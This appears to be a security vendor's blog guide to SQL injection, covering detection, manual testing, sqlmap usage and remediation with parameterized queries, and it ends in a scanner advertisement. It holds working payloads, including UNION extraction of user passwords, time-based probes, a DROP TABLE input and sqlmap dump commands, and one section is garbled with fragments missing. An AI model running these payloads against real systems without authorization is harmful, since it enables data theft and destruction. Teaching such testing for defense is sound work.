SQL Injection Testing Guide: How to Find and Prevent SQLi
SQL injection has been on the OWASP Top 10 since the list was created. It consistently tops vulnerability reports from bug bounty platforms. And it's still being found in production applications every week — including at companies with active security programs.
That isn't because developers are careless. It's because SQLi is easy to introduce, subtle in some of its forms, and inconsistently tested. This guide covers how SQL injection works, how to test for it systematically, what automated scanning catches versus what it misses, and what real remediation looks like.
What SQL Injection Actually Is
SQL injection happens when user-supplied input is incorporated into a database query without proper separation between code and data. The database interprets the input as SQL syntax rather than a literal value, which gives the attacker control over query logic.
Classic example — a login check:
SELECT * FROM users WHERE username = '$username' AND password = '$password'
If $username is set to admin' --, the resulting query becomes:
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
The -- comments out the rest. The attacker authenticates as admin without knowing the password.
That's the textbook version. Real SQLi is often subtler — timing attacks, blind boolean inference, second-order injection through stored data, and injection points in unexpected locations like HTTP headers, cookies, and JSON fields.
Types of SQL Injection
IF(1=1, SLEEP(5), 0)) and measures response time.
UTL_HTTP (Oracle) or xp_cmdshell (MSSQL). Rare but powerful, especially on databases with internet access.
Where to Test: Finding Injection Points
SQLi can occur wherever user input touches a database query. Start by mapping every input surface:
- URL parameters —
?id=42,?category=shoes,?search=term - Form fields — login, search, filters, registration, profile update
- HTTP headers —
User-Agent,Referer,X-Forwarded-For,Cookie - JSON/XML bodies — REST APIs and SOAP endpoints
- Path segments —
/users/42/profilewhere42is user-supplied - GraphQL variables — raw queries and mutations
- File upload metadata — filenames that get stored and queried
Most testers start with URL parameters and forms. The interesting vulnerabilities often hide in headers and second-order paths.
Manual Testing Techniques
Basic probes
Start with characters that have special meaning in SQL. If the application behaves differently or returns a database error, you have a candidate injection point:
' " ; -- /* */ #
1' AND '1'='1
1' AND '1'='2
1 OR 1=1
1 AND 1=2
A boolean test pair is the most reliable signal. If 1' AND '1'='1 returns results and 1' AND '1'='2 returns nothing, you have blind SQLi.
Error-based detection
Submit inputs designed to trigger syntax errors:
'
''
`
,
"
Database error messages like You have an error in your SQL syntax (MySQL), ORA-00907 (Oracle), or Unclosed quotation mark (MSSQL) confirm the vulnerability and reveal the database type.
A well-configured application should never return raw database errors. If it does, that's both a SQLi indicator and a separate information disclosure finding.
Time-based blind testing
When the application returns no useful signal, use conditional delays:
-- MySQL
1' AND SLEEP(5)--
1' AND IF(1=1,SLEEP(5),0)--
-- PostgreSQL
1'; SELECT pg_sleep(5)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- Oracle
1' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--
If the response takes ~5 seconds longer than normal, you have time-based blind SQLi. Repeat with the condition inverted to confirm it's conditional, not just a slow query.
Union-based extraction
Once a UNION injection is confirmed, use it to read arbitrary data:
-- First, find the number of columns in the original query
1 ORDER BY 1--
1 ORDER BY 2--
1 ORDER BY 3-- -- until error
-- Then confirm which columns are visible
1 UNION SELECT NULL, NULL, NULL--
1 UNION SELECT 'a', NULL, NULL--
-- Finally, extract data
1 UNION SELECT username, password, NULL FROM users--
This is the manual version of what automated tools like sqlmap automate. The tool is faster but understanding the technique tells you whether a tool finding is real.
What Automated Scanning Catches
Automated scanners are good at systematic coverage — they can test hundreds of parameters with dozens of payloads faster than any human. For SQLi specifically:
| SQLi Type | Automated Detection | Notes |
|---|---|---|
| In-band (error-based) | Reliable | Error strings are easy to pattern-match |
| In-band (union-based) | Reliable | Requires crawling to find all endpoints |
| Boolean-based blind | Good | May miss when responses are complex |
| Time-based blind | Good | Slow; network jitter causes false negatives |
| Second-order (stored) | Poor | Requires understanding multi-step flows |
| Out-of-band | Limited | Needs OOB callback infrastructure |
The biggest scanner blind spot is second-order injection. Automated tools typically test each endpoint in isolation. Second-order SQLi requires understanding that data entered at endpoint A is later used unsanitized at endpoint B — that kind of semantic understanding is still largely manual work.
The sqlmap Primer
sqlmap is the standard tool for SQLi exploitation. Understanding its options matters because default settings are often too aggressive or too conservative:
# Basic scan on a GET parameter
sqlmap -u "https://example.com/items?id=1" --dbs
# Test a POST request
sqlmap -u "https://example.com/login" --data="user=admin&pass=test"
# Include cookie authentication
sqlmap -u "https://example.com/profile?id=1" --cookie="session=abc123"
# Test specific parameter only
sqlmap -u "https://example.com/items?id=1&cat=shoes" -p id
# Less aggressive risk/level for production
sqlmap -u "https://example.com/items?id=1" --level=1 --risk=1
# Extract specific table
sqlmap -u "https://example.com/items?id=1" -D myapp -T users --dump
Key flags: --level (1-5, how many tests to run) and --risk (1-3, how dangerous the tests are). For production systems, stay at level 1, risk 1 unless you have explicit authorization for more aggressive testing.
sqlmap is powerful but noisy — it generates distinctive traffic patterns. Production firewalls will often block it. For authorized testing, tamper scripts (--tamper) can help bypass WAF rules, though that's getting into red team territory.
Testing APIs and JSON Endpoints
REST APIs are increasingly the primary attack surface. The same injection logic applies, but in a JSON context:
POST /api/users/search HTTP/1.1
Content-Type: application/json
{"query": "admin' OR '1'='1"}
{"id": "1 UNION SELECT username,password FROM users--"}
{"filter": {"name": "test'; DROP TABLE users;--"}}
Many developers treat JSON bodies as inherently safe and skip input validation. They're not. If the API passes JSON values directly into SQL queries — which is common in legacy codebases that added REST endpoints on top of existing SQL code — they're as vulnerable as any other input vector.
GraphQL adds additional complexity. Variables in GraphQL queries can be injected just like URL parameters if the resolver builds raw SQL from them.
Remediation: What Actually Works
Parameterized queries (primary fix)
The correct fix for SQL injection is parameterized queries (also called prepared statements). The query structure is defined first, with placeholders for values. The database receives structure and data separately — user input cannot change the query structure.
-- Vulnerable (string concatenation)
query = "SELECT * FROM users WHERE username = '" + username + "'"
-- Fixed (parameterized)
query = "SELECT * FROM users WHERE username = ?"
cursor.execute(query, (username,))
# Python (psycopg2)
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
# Java (PreparedStatement)
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);
This works for every database type and every SQL injection variant. It's not a partial fix — parameterized queries make it structurally impossible for user input to alter query logic.
ORMs and query builders
Most modern ORMs use parameterized queries internally when you use their standard API. Django ORM, SQLAlchemy, ActiveRecord, Hibernate — all safe by default when used correctly. The risk reappears when developers use raw query methods:
# Safe
User.objects.filter(username=username)
# Vulnerable (raw SQL with concatenation)
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'")
Grep your codebase for .raw(, execute(, text(, and similar raw-query methods. Each one is a candidate for review.
Input validation (secondary defense)
Input validation is a secondary control, not a primary fix. Allowlist validation (only accepting known-good formats) adds defense in depth but has gaps — a product name field legitimately needs apostrophes, a search field needs special characters. Validation alone will fail.
Stored procedures
Stored procedures can be safe if they use parameterized inputs internally. They can also be vulnerable if they build dynamic SQL internally with concatenation. The stored procedure wrapper doesn't matter — what matters is whether the underlying SQL separates code from data.
Least privilege database accounts
Even if SQLi is found, the blast radius depends on what the database account can do. Application accounts should have only the permissions they need: SELECT, INSERT, UPDATE, DELETE on application tables. They should not have EXECUTE on system procedures, CREATE/DROP permissions, or access to sensitive system tables. This doesn't prevent SQLi from being exploited for data reads, but it prevents attackers from escalating to OS command execution via database functions.
Testing Checklist
Before closing a SQLi test for any application:
- Map all input surfaces: URL params, form fields, headers, cookies, JSON bodies, GraphQL
- Test GET and POST parameters with basic probes (
',--, boolean pairs) - Test time-based blind on parameters that return no differential response
- Test HTTP headers:
User-Agent,X-Forwarded-For,Referer, custom headers - Identify multi-step flows where stored input is reused — review for second-order
- Run automated scanning across all authenticated endpoints
- Verify database error messages are suppressed in responses
- Check ORM usage for raw query methods
What Good Looks Like in a Report
A SQLi finding isn't complete without:
- Endpoint and parameter — exact URL and parameter name
- Request/response proof — the exact payload that triggered it
- Impact statement — what data is accessible, what operations are possible
- Database fingerprint — MySQL/PostgreSQL/MSSQL/Oracle matters for remediation
- Exploitation depth — can data be read? Modified? OS commands executed?
- Remediation step — specific code change, not "use parameterized queries"
SQLi severity ranges from medium (read-only access to non-sensitive data) to critical (full database read/write with OS command execution). Classify based on actual exploitation potential, not just presence of the vulnerability.
Ironimo runs automated SQL injection testing across every input surface of your application — URL parameters, form fields, API endpoints, JSON bodies, and HTTP headers — using the same tools professional pentesters use on Kali Linux.
Schedule scans on demand or on a recurring basis. Results come with proof-of-concept payloads and remediation guidance.
Start free scan